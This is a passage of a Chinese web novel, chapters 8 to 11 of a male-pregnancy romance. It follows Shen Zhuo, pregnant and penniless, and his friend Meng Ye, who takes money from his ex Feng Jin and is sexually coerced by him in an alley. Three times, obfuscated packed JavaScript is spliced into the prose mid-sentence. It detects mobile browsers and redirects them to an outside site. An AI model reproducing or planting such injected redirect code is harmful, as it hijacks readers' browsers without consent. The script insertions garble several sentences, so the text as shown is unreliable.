以前将将养得起自己,现在多了个孩子,就两个都养不起了。 8. 第 8 章 沈茁回到家的时候,孟也正坐在沙发上看电视。 面前的茶几上摆了一堆零食,他靠在沙发上手里抱着iPad刷短视频,嘴里嗑瓜子的动作一直没停过,偶尔抬头看一眼电视,没几秒又迅速低下头继续看手里的iPad。 孟也是个很会享受的人,能躺着他绝不站着,能轻轻松松挣钱就绝不让自己累着。 虽然现在他没什么存款,但是有套价值不菲的房子,就足够让他放下心来摆烂了。 人活一辈子,都是有苦又有甜,他跟冯尽在一起的时候受了那么多苦,现在的甜也是他应得的。 沈茁站在门口看着沙发上笑个不停的人,心情颇为复杂。 他纠结了一路该怎么跟孟也说,他今天晚上做不了鸡翅了,他卡里根本没有那么多钱,五百还不够他这个月最基本的开销。 “你回来啦!” 孟也吐掉嘴里的瓜子皮,动作利落地从沙发上跳下来,飞快在iPad上点了几下,走到沈茁身边。 “你看我在网上找个好几个胎教的小视频,”孟也兴致勃勃地说,“以后你每天早上都听一听,网上说这样能锻炼宝宝的大脑。” “他现在还是个胚胎呢,”沈茁苦笑,“昨天你不是看了b超单,孩子只有小圆球那么大。” “哦,”孟也嘴角耷拉下来,失落地把iPad扔回沙发上,“那等宝宝长大点再说吧。” “鸡翅呢,鸡翅呢?”不等沈茁开口,孟也又围在他身边问:“小沈,说好了给我做好吃的呢。” “额……”沈茁一时哑口,焦急中随口扯了个谎,“那个,楼下超市的鸡翅卖光了。” 他眼神闪躲,不敢跟孟也对视。 一分钱难倒英雄汉,沈茁现在可真算得上是身无分文了,他现在脑子乱成一团,根本不知道以后的路该怎么走。 父母死了,“卖身”的钱也没了,工作丢了,还差点连住的地方都没有。 肚子里还有个小的,现在才那么大一点,他就要操心孩子未来几年乃至十几年的生活。 生活这口巨大的锅压在身上,沈茁感到阵阵窒息,他喘不上气,也看不到自己的未来。 “你骗人!” 孟也凑过去跟沈茁对视,他一脸严肃用探究的眼神看着沈茁,“我刚才去买零食的时候,看楼下超市有那么多鸡翅呢,我想着你说要买我就没买。” “发生什么事了?”孟也拉着沈茁到沙发上坐下,“你不是说要去取钱,没取出来?” 沈茁的嘴唇动了动,犹豫了一会,说:“我……我那张卡丢了,现在身上只有五百块钱了。” 他出门前只说自己存了五万块钱,打算取出来一部分,孟也并不知道他那五万是哪来的。 不知怎的,沈茁就是不希望孟也知道他那所谓的五万是怎么来的,十八年里他经历了那么多,按理说心早就麻木了,又怎么会在意别人怎么看他呢? 可面对孟也,沈茁偏偏不想暴露自己不堪的一面。 从小到大他都没什么朋友,一方面是他自己性格孤僻,另一方面则是他家庭的原因,导致很多小朋友不愿意跟他玩。 跟孟也在金嘉酒店认识的时候,他们两人的境遇是差不多的,所以沈茁没什么心理压力就跟孟也成为了朋友。 但现在,孟也的生活越来越好,他不想再把他拉回到泥里。 如果可以,沈茁希望这个世界只有他一个人糟糕地活着。 “什么?!”孟也惊呼,“那怎么办,你身上真的就剩五百了?” “嗯,”沈茁点点头,扯出一抹生硬的笑容,“没关系,我现在还能工作,抓紧找到工作就好了。” “好个屁,”孟也厉声道:“你现在找工作,一个月顶多就五千多,这还是情况好的时候,少的话只有三千左右。” “你产检多少钱,每个月吃药多少钱,你喝的中药医生还能一直免费给你开?你自己算算够不够。” 孟也的话每个字都深深扎进了沈茁的心里,没错就算他现在开始工作,也不够应对他这个孕夫最基本的生活开销。 “要不我把孩子打掉吧。” 沈茁说这话的时候心都在滴血,生或死他并不在乎,只是这个孩子是他这一生唯一的亲人,他们密不可分,他用自己的血肉滋养了这个孩子这么长时间,却要因为生活的捉弄而放弃。 放弃了,他就再也不会拥有真正的家了。 “你想什么呢?”见沈茁一脸悲伤,孟也也跟着着急,他掰过沈茁的身体,替他擦掉脸上眼泪,“不是还有我吗,至于到打掉孩子的地步?” “你跟我非亲非故,没必要因为我影响你的生活,”沈茁拍掉孟也的手,侧过身体不敢看他的眼睛,“你自己还要生活。” “我乐意帮你,你管得着吗?” 孟也绕到沙发另一边,走到沈茁身旁蹲下,仰头看着他红红的眼睛,“不是说了我前男友有钱,我说我没存款又不是真的没存款。” “说好了我要当干爹的,这孩子可就有我一份了,我给孩子花点钱也是应该的。” 他强制把沈茁拽到卧室,然后把人塞进被子里,叮嘱道:“你现在的任务就是睡觉,我也不用你给我做好吃的了,等你睡一觉醒了,保准你能看到一大摞真金白银。” 说完孟也转身要走,沈茁抓着柔软的被子,心里有种说不上的滋味,有开心也有愧疚,更多的是感动和惶恐。 他伸手抓住孟也纤细的手腕,感激地说了句:“谢谢。” 孟也怔了一下,他没回头而是不在意地抽回手,摆了摆说:“客气什么,以后别忘了让孩子孝敬我。” “好。” 沈茁靠在床头握紧了拳头,鼻头猛地发酸,眼泪不受控地往下流。 在这一刻,他这条平淡又充满杂质的小河,才终于完全接纳了这片名为孟也的落叶,在他的河水上飘荡流淌。 沈茁不信真情,也不相信有人会愿意释放自己全部的善意去对待一个陌生人,尤其是利益至上的成年人。 但他不可否认,这世上就是有这样的人存在,他们热情如最灿烈的朝阳,毫不吝啬去照亮别人灰暗的人生。 孟也就是这样的人,沈茁突然感觉老天也没有那么绝情,至少还有孟也。 还好有孟也。 * 走出卧室,孟也轻轻关上房门。 门关上的瞬间,他脸上的轻松的表情立刻被愁云取代。 在心里暗骂了一声,孟也掏出手机打开各种支付软件,全都搜刮一遍,也就只剩下了一千多的存款。 客厅的电视上还放着没营养的搞笑综艺,里面传来阵阵大笑声,平日里很有感染力的声音,现在却嘈杂不已。 孟也听了顿感心烦,他走过去关掉电视,重新坐回到沙发上,慢慢在心里盘算如何兑现刚刚“一大摞真金白银”的诺言。 他跟冯尽在一起的时候,冯尽的确给了他很多钱,算下来大概一百万左右。 那个时候孟也跟仓鼠一样,一点钱也不舍得花,全都存到了卡里。 或许每个穷怕了的人,都会格外珍惜每一分钱,孟也也很享受存钱的过程,卡里的每一分钱都是保障,不让他再过穷日子的保障。 可后来跟冯尽分手,他也不知怎么了,突然就觉得人活一世就该及时行乐,存那么多钱不花,要留到什么时候呢? 留到七老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799719|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八十,出去旅游都走不动路,吃美食大餐都吃不出新鲜味了。 想通之后他就打算出去旅游,把卡里的钱都花了,能花多少花多少。 但命运弄人,可能他这人就是穷苦命,好不容易要过上好日子了,他那个好赌的爹找过来,把他银行卡给偷了。 他那个爹成天不务正业,吃喝嫖赌样样都沾,他妈就是因为这个跑了的。 孟也知道他爹在外面欠了很多钱,那老不死的好几次来找他要钱,他一次也没给,因为他知道给了一次就有第二次,这特么就是个无底洞。 可那次老家伙竟然头一次跟他示弱,说想他了就在他家里住一晚,孟也心软了,他知道不该对赌徒抱希望,但心里还是隐隐期待,或许他爹是真有改过之心呢? 事实是,他赌错了。 第二天早上他一睁眼就觉出不对劲了,太安静了,整个屋子跟停尸房一样透着死寂。 那老不死的连夜跑了,带着他的银行卡,等孟也发现的时候,卡里的钱全被提走了。 那时候他的第一反应是生气,最气的就是冯尽,气他有钱人耍酷给的银行卡都不设密码,随随便便就叫人把钱提走了。 第二气他自己,为啥不早点把钱转到新卡里。 他最不气的就是那个爹,反而心里觉得轻松,这一百万给他,权当断了父子关系,以后那人生老病死就全都跟他无关了。 孟也想得开,虽然手里的钱没多少了,但他还有这么大一套房子,也够用了。 可现在光有房子不够,沈茁肚子里的孩子等不及。 要不把房子买了? 可卖房也需要时间,现在沈茁处处需要用钱,他手里必须得有可以自由支配的现金。 孟也再次打开手机,输入了一串熟悉的号码。 手指悬在拨通键上,犹豫要不要按下去。 他也有自己的私心,跟冯尽这一段感情耗费了他几乎一半的生命力,总听人说失恋会要人半条命,可只有亲身经历了才知道,何止是半条命。 冯尽不要他了,他心里也清楚冯尽是个什么样的人,喜新厌旧的花心萝卜。 一开始他确实是为了钱接近冯尽的,可后来却连怎么陷进去的都不知道,被分手了也只能装作云淡风轻的样子,每天骗自己不难过。 孟也能感觉到自己的精力、他的精气神,在一点点流失。 他需要接触新鲜的人,需要开始新的生活,否则不出半年他就得抑郁。 他是帮了沈茁,收留了沈茁,但又何尝不是在自救呢? 如果再有个小孩跟他们一起生活,那这日子也算是有盼头,不会一眼看不到未来。 嘟——嘟—— 悬而不决时,手指自己做了决定,失重般压了下去。 电话响了一会才被接通,孟也紧握着手机放在耳边,紧张到手心都是汗。 “呦,怎么想着给我打电话了?”冯尽低沉的声音响起,语气里满是戏谑,“诶呦呦,是谁说以后再也不想见到我的?” 听到熟悉的声音,孟也的心直打颤,他咽了咽口水,努力让自己的声音保持平稳。 “借我点钱,”孟也心里打怵,他从来猜不透冯尽的心思,“我赚了钱就还你。” “孟小也,我当时给你那么多钱,你都花了?” “你管我呢?”孟也提高音量,以此来掩饰自己的底气不足,“你给不给,不给就直说,有的是人愿意给我钱。” 冯尽沉默了,半晌他冷笑着开口:“去老地方等我,我见到人,你见到钱。” “好。” 挂掉电话,孟也心里一片悲凉,他知道他这段稀巴烂的感情,彻底完了。 9. 第 9 章 “孟哥,你脖子怎么又红了?” “没什么,”孟也摸了摸脖子,不自然道:“晚上被蚊叮了,不碍事。” “哦。”沈茁收回目光,低头专心吃盘子里的营养餐。 距离发现自己被骗那天,已经过了一个月。 那天晚上沈茁睡到了半夜才醒,刚好撞到孟也从外面回来。 他打开灯,看到孟也顶着湿漉漉的头发,怀里抱着个黑色的编织袋,袋子没完全拉上,露出了一片红白的颜色。 那是个晴天,沈茁问拉着孟也去浴室洗澡,问他头发怎么湿了。 孟也什么也没多说,只是拉开袋子,一股脑把里面的现金都倒了出来。 “没骗你吧,说了你睡醒就能见到钱,”孟也扯出一抹笑,“你看这些够不够养孩子?” 沈茁隐隐觉得事情不对,刨根问底问孟也怎么这么晚才回来。 孟也东扯西扯就是不正面回答,沈茁再问他就生气了,把沈茁推出浴室,不让他进来。 没办法,沈茁只好去厨房煮了碗红糖姜茶。 现在回想,那时候孟也的脖子就红红的,像今天的一样。 这一个月的时间,几乎每隔两三天孟也就会拎一袋子钱回来,只要沈茁开口问,他就说存款很多所以每天都去银行取点回来。 可沈茁也不傻,他隐约觉得孟也在撒谎,但这个谎具体是什么他却猜不到。 现在电子支付那么普及,谁还会取那么多现金出来花? 可孟也不愿意说,他也不好一直问。 沈茁心里感激,只想趁着孩子月份不大,赶紧找到工作,能干几个月是几个月,总不能一直待在家什么都不做。 曾经工作过的酒店、餐馆,只要是招服务员的沈茁每一个都没放过,一家家找过去面试。 沈茁长得清秀,虽然身板看着不壮实,但人肯吃苦,找工作几乎没有碰壁的时候,这次却每一家都不要他。 接连被拒后,沈茁仔细想了想,大概是他在会所得罪了那个老总的缘故。 工作找了一个礼拜,孟也劝他别给自己找罪受,家里有钱用不着他出去上班。 实在没人要,沈茁无奈只能待在家研究些别的活计。 他可以一个月不赚钱,两个月不赚钱,但总不能一辈子都靠孟也活着。 研究来研究去,沈茁决定做手工在网上卖,他买了一批线团开始学钩织。 时间不等人,肚子里的孩子一点点长大,沈茁知道他必须快点成长起来,他所过的每一个舒坦日子,都是孟也在帮他撑着。 孟也愿意帮他是孟也人好,他不能真的当一个吃了睡睡了吃的蛀虫,让生活所有的重担都压在孟也身上。 没日没夜学了半个月,也算有些成效能勾出些可爱的小团子了,沈茁拍了几个小视频发在网上,边经营账号边研究做新的钩织挂件。 终于在月末的时候,卖出了第一单,两个团子加一个针织小包,三十五包邮卖了出去。 除去快递费,其实也就赚了十块左右,但沈茁打心底里开心,他去楼下的小吃摊买了个炸鸡架回来,刚好十几块。 等孟也回家,沈茁把炸鸡架一块块撕好放在盘子里,端到孟也面前给他吃,孟也感动得就差直接哭出来了。 不过当天晚上,沈茁做钩织这事就被孟也给强烈否决了。 起因是沈茁躺在床上钩东西,他的孕期反应来得比别人都要早,才不到两个月就开始嗜睡,坐在椅子上钩织太累腰,可刚躺到床上沈茁就犯困,没忍住睡着了。 他是被孟也摇醒的,睁眼就看到孟也皱着眉指责他,顺着孟也指的方向看去,只见那根长长的钩针就压在他肚子下,要是稍微错位就会扎进肚子里。 沈茁全身的汗毛都竖了起来,心里一阵后怕。 孟也直接“下令”说:“这东西有危险,不许再织了,再织我就把你那几团线全扔了!” 沈茁捂着肚子直点头,当天晚上他就收起线团,在网上下单了几包珠子,钩织不成那就穿手串吧,这东西没什么危险。 “以后脖子都不会红了。” 饭桌上孟也突然开口,他抬眼看着沈茁说:“我找了个班上,每个月五千多,早六晚九,以后你在家只能自己做饭吃了。” 沈茁不知道这两件事之间有什么联系,为什么找到工作脖子就不会红了,他现下只觉得心急,为什么自己找不到工作,为什么自己赚不到钱。 “那我以后每天早起给你做饭,晚饭我也做!” “得了吧,”孟也起身轻轻在沈茁头上弹了个脑瓜崩,“你现在这个情况,一天二十四小时,恨不得睡二十三小时。” “那我中午给你送饭吧,”沈茁抬起头看着孟也,“孟哥,你知道我的性格,你让我一直待在家我心里不舒坦。” “那行吧,”孟也想了想,终于点头道:“我一会把地址发给你,你十一点半来就行。” “其实你真不用来的,我们中午就休息半个小时,我对付一口就行。”孟也絮絮叨叨,似有反悔的迹象。 沈茁见状立刻放下筷子,转身到厨房刷碗去了,只要他跑得快,孟也就来不及反悔了。 接下来一连半个月,沈茁白天在家里做手串、裁衣服,中午抽空去给孟也送饭,回来继续做手工活,晚上做好饭留一半给孟也,他晚上回来放微波炉里热一下就可以吃。 这种日子虽然平淡,但沈茁却感到了前所未有的安宁,他能感觉到自己的生活在一点点变好。 肚子里的孩子也是个懂事的,除了嗜睡沈茁再就没有什么别的孕期反应了。 这天中午,沈茁拌了一碗凉面,又额外做了一小碗西瓜清补凉,七月中旬的京都正是热的时候,孟也在火锅店后厨工作,就算店里开空调也免不了闷热。 把凉面和清补凉分别装进保温饭盒,沈茁简单收拾好厨房,踩准时间出了门。 孟也上班的地方不远,出了门走十分钟左右就到了。 沈茁十一点十分出门,不到半点就走到了火锅店门口,他像往常一样在门口的长椅上坐着等孟也。 店门口的长椅上面架着一个小棚子,遮住了大半的阳光,天太热沈茁只穿了一个宽松的背心和肥大短裤,脚上是一双十分不拘小节的人字拖。 他人瘦,均码的衣服穿在身上也仿佛是加大码。 夏日就连风吹过都带着热浪,沈茁白皙的皮肤没一会就被晒得通红,他抬手擦点额头的汗珠,眼皮突然开始打架,好像下一秒就会睡过去。 工作日整个街道的人流量都不大,静谧中沈茁昏昏欲睡。 就在眼睛即将合上时,一道尖利的争吵声突然响起,沈茁瞬间惊醒,心脏紧跟着开始狂跳。 他捂着胸口,耳边是断断续续的争吵声,静静听了一会,沈茁越来越觉得那声音熟悉。 这不是孟也的声音吗?! 他腾地站起来,想也没想顺着声音寻了过去。 那是餐馆旁边的小巷子,一个死胡同,胡同最里面摆着一个破旧的木桌子,那是周围的鬼火少年放的,方便他们跑酷的时候翻墙用。 沈茁走到巷口,看到孟也就在里面,他面前站着一个男人,那人足足比孟也大了一圈,正半侧着身子跟孟也说话。 “你没病吧,我都说了我不干了!” 巷子里,孟也怒气冲冲看着冯尽,他暗暗握紧了拳头,死死盯着冯尽的眼睛。 “你以为这事是你想开始就开始,想结束就结束的吗?” 冯尽漫不经心勾起嘴角,玩味的眼神不停在孟也身上寻视,“我告诉你,只要我一天还没腻歪,你就别想抽身!” “你不是早就腻了吗?”孟也嘴唇发抖,嘲讽道:“怎么还像条狗一样,别人扔根骨头就上钩了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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冯尽看着孟也的脸,身下某处立刻起了反应,面对情人他致力于做一个温柔的操纵者,可每当看到孟也的眼睛,就会升起强烈的凌虐欲。 暗骂了声,冯尽松开孟也的下巴,迅速将人抱起放到木桌上,在背后将两个纤细的手腕一同握住。 “孟也,我说了,只要你听话,”冯尽声音沙哑,不断重复道:“只要你听话。” 他不留一丝空隙将人紧紧按在怀里,急吼吼去脱孟也的裤子。 孟也只觉得心累,下巴轻轻搭在冯尽的肩上,绝望地闭上了眼。 如果不爱了就不会这么心痛,如果不爱了就可以像一个机器,心安理得出卖自己的身体,只要有钱拿。 可偏偏他还爱,他不得不承认,帮沈茁不过是自己想再联系冯尽的借口。 孟也侧头蹭了蹭冯尽的脸,他的怀抱像从前一样温暖,那种被完全包裹住的感觉,让他充满了安全感。 下一秒,孟也感到皮肤被暴露在外,他猛然从痴迷中抽离,睁开眼边哭边求饶:“冯尽,别再外面……” “没事,别怕,”冯尽哪里等得及再去酒店,放低声音哄道:“我保证不会有人看到。” 眼里的泪水聚集成滴,瞬间坠落,孟也的视线恢复了一丝清明。 他向前看去,只见巷口处站了个人,那人逆光站着,风吹过不断将他纯白的衣服吹起。 孟也看到沈茁瘦削的脸上爬满了泪水,他全身都在颤抖,连同手里拎着的东西都在抖。 两人的目光在空中碰撞,孟也的瞳孔不断放大,脑子唰一下变得空白。 此时此刻,此情此景,他被冯尽抱着压在破桌子上欺辱,而沈茁就站在那,目睹了一切。 孟也从喉中挤出细小的呜咽声,虽然隔了很远,但他还是看到了沈茁眼中复杂的情绪。 有悲伤,有心疼,好像更多的是愧疚。 10. 第 10 章 “滚开!” 沈茁像只愤怒的豹子,飞奔过去用尽全力扯开了背对着他的冯尽。 保温桶的盖子被快速拧开,凉面混着西瓜淋了冯尽一身。 冯尽正沉浸在情欲里,冷不丁被人拉开,思绪还未回笼,就猛地向后踉跄了几步。 那东西大咧咧弹出来,暴露在空气里,紧接着就感到后背一凉,他暗骂一声伸手向后摸了摸,却摸到了一手油腻腻的调料。 “沈茁……”孟也咬着嘴唇,弱弱叫了一声。 沈茁没回声,红着眼睛把人从桌子上拉下来,帮他提好裤子,动作迅速拉上了前面大敞着的裤链。 “你特么谁呀?” 冯尽慢慢回过味来,好事突然被人打断,生理和心理上的不爽交织在一起,气得他青筋暴起,脸色黑得可怕。 沈茁拉着孟也的手腕,将人护在身后,以对峙的姿态转身看向冯尽。 冯尽的裤子还半挂着,沈茁的视线猝不及防对上那东西,吓得他立刻闭上眼睛别开了脸。 “流氓。” 沈茁不想跟冯尽有太多纠缠,拉着孟也就要往外走。 “泼了老子一身,还想就这么走了?” 冯尽穿好裤子,慢悠悠走过去挡住了两人的路,他身材高大,巷子口透进来的阳光被遮住了大半。 沈茁完全处在暗处,只有一缕阳光透过来,打在了孟也的眼睛上。 孟也微微眯起眼,他抽抽搭搭无声哭着,泪珠滚落将阳光反射成了一道耀眼的闪光。 那光直直撞进冯尽眼睛里,正抱着胳膊玩世不恭的男人心突然软了一下。 “操,”冯尽烦躁地扯掉领带,微微侧身让开了一条路,“赶紧滚,老子今天心情好,放你们一马。” 闻言,两人加快了脚步,一前一后加快脚步往巷子外走。 经过冯尽时,孟也的手猛地被男人抓住。 “老哭什么哭。”冯尽紧紧握住他纤细的手腕,粗砺的拇指顺着孟也掌心的纹路向下摩挲,竟透出几分眷恋。 “还……还不是你惹的。” 孟也不敢看他,直直盯着沈茁的瘦小的后背。 听到后面两人的交谈声,沈茁心中更加忿忿,用力一扯就把孟也拽了过来,拉着人头也不回走了。 看着两个远去的身影,冯尽的脸更黑了,他用力踢了一脚灰青色的外墙,巨大的声音惊得墙上的小鸟胡乱飞窜。 沈茁拉着孟也在前面走着,孟也则像是在学校闯了祸,被老师叫家长接回家的小学生一样,低着头灰溜溜跟在沈茁后面。 一路上,两人谁也没说话,但这种无声却好似胜过了千言万语。 二人心中各有各的酸涩,无法言说,也不可言说。 回到家沈茁终于松开了孟也的手,他一刻不停走到厨房开始洗刷沾满了油污的饭盒。 孟也紧张地攥着自己的衣角,踌躇片刻才下定决心走到了厨房。 他来到沈茁身后,犯错小孩一样揪住了沈茁的衣服,轻轻扯了几下。 “对不起!” “对不起。” 哗啦啦的水流声戛然而止,两人的声音一同响起。 啪嗒,啪嗒。 紧接着孟也听到了水珠坠落的声音,他这才意识到沈茁哭了。 “你别哭呀,”他赶忙扳过沈茁的身体,胡乱帮他擦掉不断流下的眼泪,“不是你的错,诶呀,你哭什么呀。” 说着他自己突然感到一阵委屈,身体后面传来丝丝阵痛,尴尬的复杂情绪让他恨不得赶紧找个地缝钻进去,眼眶也兀的红了。 “孟哥,你也别哭啊。” 沈茁手上还拿着百洁布,泡沫沾了满手,慌乱中他只好用手臂替孟也擦将掉未掉的眼泪,一个没留神胳膊肘戳到了孟也的眼睛。 孟也原本还沉浸在悲伤中,被戳了一下突然愣住了,下一秒他蹲下身将脸埋进了自己的膝盖。 沈茁:…… 完了,他把孟哥给戳哭了! 不对!是他把孟哥给是戳趴下了! 好像也不对…… “对不起,孟哥,我是不是戳疼你了。”沈茁也跟着蹲下来,猫着腰想去看孟也的脸。 孟也一直没抬头,好一会,沈茁听到孟也的膝盖处传来了闷闷的哼哼声。 正疑惑,孟也突然抬起了头,笑声跟着逸了出来。 “哈哈哈哈哈哈哈哈哈哈哈。” 孟也笑得直打滚,他扑过去抓住沈茁的肩,面对面看着沈茁的眼睛。 两人对视了一会,沈茁也噗的笑了出来。 “孟哥……”沈茁收起笑容,愧疚道:“对不起,都是因为我要用钱,你才……” “说什么呢,”孟也戳了戳沈茁的脸,眼神逐渐暗淡,“我还没圣母到这个地步,我……我也不全是因为你。” 其实还因为我心里没完全放下冯尽这个人渣。 不过这话他也只能在心里想想,说出来就太没骨气了。 “孟哥,你别再见他了,他根本不尊懂你!” 沈茁越想越气,气鼓鼓地说:“你都说了不想了,他还那样……那样对你!” 孟也的脸唰一下红了,他连忙捂住沈茁的嘴,“你这小屁孩吗,说什么虎狼之词呢!” “唔……我……” “行了,别说了,”孟也脸都要被烫熟了,“你放心他这人虽然有时候挺混蛋的,但是本质不坏。” “孟哥,你……”沈茁心中有气,在他心里孟也是顶好的人,不该被那么对待。 “好啦,”孟哥拉沈茁起来,牵着人往客厅走,半晌突然一拍脑袋,“诶呀,完蛋了,我还有半天班没上呢。” 说完就要往门口跑,沈茁眼疾手快把人拉住,“孟哥,你别去上班了,万一他又来骚扰你呢。” “无故旷工半天,我这工作还要不要了。” “孟哥,你别去,”沈茁心里愧疚,使劲拉着孟也不让他走,“我肚子疼得厉害,宝宝也不想你走呢。” “肚子疼了,真的假的?” “真的!”沈茁重重点头,用无辜的眼神看着孟也,可怜巴巴地说:“孟哥,你别去上班了。” “真是服了你了。” 孟也无奈又转身退了回来,把沈茁推到卧室安顿好,他去厨房给沈茁熬起了中药。 卧室里沈茁握着手机,怔怔盯着床单想事情,良久他点开手机里的电话簿,翻到“小天”的名字,拨了过去。 * 冯尽找过来的时候,林庭安正在处理手头上的工作。 见人来,林庭安把桌子上的文件向前推了推,“你看看。” 冯尽头发还是湿的,他急忙赶过来气息还没平稳,一屁股坐在老板椅上,拿起文件仔细看了起来。 “诶呦,这人可真有意思,”冯尽歪着身子靠坐着,双腿交叠在一起,眉头紧皱嘴角却翘了起来,“你说这姓岑的,葫芦里到底卖的什么药?” “你俩上辈子是不是仇人啊,他怎么就盯上你搞了呢。” “别废话了,”林庭安瞥了冯尽一眼,“你去查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799721|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查岑复春到底怎么是怎么跟方汉明搞在一起的。” “行,”冯尽合上文件夹,啪一声把文件扔回到了桌子上,“诶呦大忙人,你这工作一天了也该歇歇了吧。” “对面新开了家日料,咱俩尝尝去?” “没空,”林庭安的眉间缀着化不开的忧愁,他头也没抬就拒绝道:“老爷子的病又加重了,现在事情都堆在我手里,没工夫陪你吃饭。” 林家老爷子心思重,年轻时被人算计过,自打那时候就患上了疑心病,人就跟铁打的一样恨不得大大小小的事务都经过他的眼。 前几年老爷子的身体大不如前,他才终于舍得把大部分权利移交给自己的儿子林建群。 连带着林庭安手里的工作也跟着多了起来,每日不得闲。 岑复春跟他的梁子是几年前结下的,那时候他刚大学毕业,进入自家企业处理的第一个合作就大获成功,林家给他举办的庆功宴邀请了岑家人。 那是林庭安第一次见到岑复春,那时候他就感觉这人眼神里透着阴狠,后来听人说他是岑家刚认回来的私生子,林庭安就心下了然了。 岑家的事他多多少少有些了解,只听岑家从上到下都风流,每一辈都留下了不少孩子,林庭安就知道岑复春在岑家的日子不好过。 不过这事他也就当个八卦听听,却没想到几年后岑复春成了岑家内斗唯一的幸存者,上位后的第一件事就是给自己找麻烦。 接连坑了他好几笔生意,林庭安都一一报复回去,两人连面都没见过几次,就这么结下了仇。 这次林家跟京都一家大型医疗器械厂合作,岑复春还想跟着插一脚,甚至已经暗中在跟方汉明接触。 方汉明是谁? 那是京都商圈有头有脸的人物,民国时期方家是经营典当行的,后期开始搞投资可谓是“一夜成名”,包括林家在内的几个世家祖上都得过方家的荫庇。 岑复春暗中巴结方汉明,心里不定憋什么坏呢。 “你去找你那些小情人陪你去,”林庭安越想越烦,抬手关掉显示屏,闭着眼睛向后靠在椅子上,捏了捏眉心,冷不丁问:“你身上是什么味,泔水馊你身上了?” “我洗澡了啊,”冯尽从椅子上跳起来,提起胳膊左闻一下右闻一下,“也没味的,你属狗鼻子的?” “别提了,老子今天差点就跟老情人干柴烈火了,”冯尽一想起白天的事就心烦,“突然冲出来个人,扣老子一身面条。” “呵,”林庭安突得笑了,“活该,你那么多情人,被泼也正常。” “正常个屁,”冯尽吼道,“冲出来那人老子都不认识,瘦得跟猴一样,力气倒不小。” 说着,冯尽甩了甩胳膊,早晚有天他得再尝尝孟也的味,不把人干得三天下不来床他就不姓冯! 冯尽这话也不知触到林庭安那个开关了,他猛地想起了自己不清不楚的一夜情对象。 “那天让你查的人有消息了吗?” “什么人?”冯尽愣了一下,“你天天给我派那么多活,我又不是你佣人事事都记得。” “嗷嗷嗷,”片刻冯尽拍了下桌子,眼里闪着光说:“我想起来了,你说的是那个给你破童子身的小孩?” 林庭安嘴角抽搐,冯尽这人嘴真是没把门的。 “等着吧,”冯尽摆摆手,“你知道那会所人员流动多大,监控模模糊糊的,就能看个身形,找起来难着呢。” “没事就滚吧。” 林庭安睁开眼睛瞪了冯尽一眼,心里更烦闷了。 11. 第 11 章 “这可是我冒着生命危险帮你录的,光这杯咖啡可打发不了我,怎么着也得再请一顿饭。” 咖啡馆,沈茁跟小天面对面坐着。 小天按下视频的播放键,把手机放在桌子上推到了沈茁面前。 “谢谢,今晚你有时间吗,我记得你喜欢吃剁椒鱼头,隔壁美食街有一家做得还不错,要不要尝一下?”沈茁感激道。 他拿起手机眼都不敢眨一下,认认真真从头到尾看了一遍。 视频是用手机拍摄的监控画面,拍摄者都手有些抖,画面每隔一段时间就会有轻微的晃动,但这并不影响沈茁认人。 这是那晚他去顶楼之前半个小时的监控,视频里一个高大的男人跟一个青年并肩走到房门口,两人站在门前说了几句话,然后一齐打开房门走了进去。 在男人露出完整正脸的瞬间,沈茁按下了暂停键,他将画面截图点开相册,双指触屏放大了照片。 可惜视频画质不高,沈茁只能依稀看清男人的轮廓,这是张骨相很优越的脸,哪怕只是像素点也可见其端正的五官。 “算了,我就是说说,又没真的要你请,”沈茁看视频时,小天在一旁跟着介绍,“我不只拍了视频,我还偷偷去查了那天晚上客人的消费记录。” “这一查不要紧,可把我吓了一跳,”小天捂着胸口拍了拍,表情夸张地说:“我看到这间房的消费走的是林氏的卡!” “这事你可能不知道,前几年咱会所最上面的大boss跟林家有过一次合作,双方都挺愉快的,后来大boss就专门设置了一张黑金卡给林家,全球独此一份。” 小天说得绘声绘色,沈茁听了心里却突突直跳。 他能猜到孩子的另一个爸爸会是个身份不一般的人,可听小天这么一说,他又开始打起了退堂鼓。 这样的人,能接受他吗? 能接受一个男人怀的宝宝吗? “小天,你能看出视频里这个人具体是谁吗?” “你别看我知道的多,其实都是听八卦听来的。”小天苦笑道。 听他这么说,沈茁的心向下沉了沉,看来找孩子爸的路任重道远。 “不过这位我倒是能猜出来。” 小天端起面前的咖啡喝了一口,想了想说:“你去搜林庭安这名,准没错。” 林庭安。 沈茁在心里默默念了一遍,这就是宝宝爸爸的名字吗? 他点开手机自带的浏览器,按小天说的搜索了林庭安的名字,页面刚打开就见一张帅气的脸弹了出来。 沈茁怔了怔,鬼使神差点开了那张图片。 放大照片后,他的手指停留在屏幕上,指尖划过电子屏幕下那双深邃的眼睛。 照片里这人的眉眼太过狠厉,沈茁还未见到真人心里就已经开始害怕起来。 不过他更多的心情还是开心,林庭安这个好听的名字配了一张帅脸。 这是沈茁这段时间以来最开心的事,他自己长得也不赖,再加上这张脸,宝宝以后的颜值一定很高。 